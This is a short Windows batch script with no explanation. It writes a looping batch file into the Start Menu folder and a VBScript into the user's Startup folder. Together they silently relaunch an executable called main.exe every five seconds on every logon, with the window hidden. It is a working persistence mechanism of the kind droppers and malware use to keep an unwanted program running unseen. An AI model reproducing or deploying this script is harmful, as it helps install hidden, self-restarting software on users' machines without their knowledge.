@echo off

echo :loop > "C:\Users\%username%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\2.bat"
echo start %CD%\main.exe >> "C:\Users\%username%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\2.bat"
echo timeout 5 >> "C:\Users\%username%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\2.bat"
echo goto loop  >> "C:\Users\%username%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\2.bat"

echo Set WshShell = CreateObject(^"WScript.Shell^") > "C:\Users\%username%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\1.vbs"
echo WshShell.Run chr(34) ^& ^"C:\Users\%username%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\2.bat^" ^& Chr(34), 0 >> "C:\Users\%username%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\1.vbs"
echo Set WshShell = Nothing >> "C:\Users\%username%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\1.vbs"

"C:\Users\%username%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\1.vbs"